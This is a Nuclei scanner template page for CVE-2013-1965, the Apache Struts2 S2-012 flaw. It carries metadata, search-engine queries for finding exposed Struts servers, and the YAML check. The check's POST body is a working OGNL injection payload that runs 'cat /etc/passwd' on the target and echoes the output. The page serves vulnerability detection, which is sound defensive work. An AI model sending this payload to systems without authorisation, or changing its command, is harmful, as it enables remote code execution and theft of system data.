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Apache Struts2 S2-012 RCE

ID: CVE-2013-1965

Severity: critical

Author: pikpikcu

Tags: cve2013,cve,apache,rce,struts,ognl

Description

Section titled “Description”

Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect.

YAML Source

Section titled “YAML Source”
id: CVE-2013-1965


info:
  name: Apache Struts2 S2-012 RCE
  author: pikpikcu
  severity: critical
  description: Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution on the affected server.
  remediation: Developers should immediately upgrade to Struts 2.3.14.3 or later.
  reference:
    - http://struts.apache.org/development/2.x/docs/s2-012.html
    - https://nvd.nist.gov/vuln/detail/CVE-2013-1965
    - https://bugzilla.redhat.com/show_bug.cgi?id=967655
    - https://github.com/CrackerCat/myhktools
    - https://github.com/GhostTroops/myhktools
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
    cvss-score: 9.3
    cve-id: CVE-2013-1965
    cwe-id: CWE-94
    epss-score: 0.00813
    epss-percentile: 0.79935
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve2013,cve,apache,rce,struts,ognl


http:
  - method: POST
    path:
      - "{{BaseURL}}/user.action"


    body: |
      name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D


    headers:
      Content-Type: application/x-www-form-urlencoded


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a00463044022054a9e98ad709f98af1c64bbc49221b1ec4946d71336ab41ad449c92752b524ef022079a397777709392469b5503df9dfa895586e2c00a929cef67732d9cd1d0f6b5e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2013/CVE-2013-1965.yaml"

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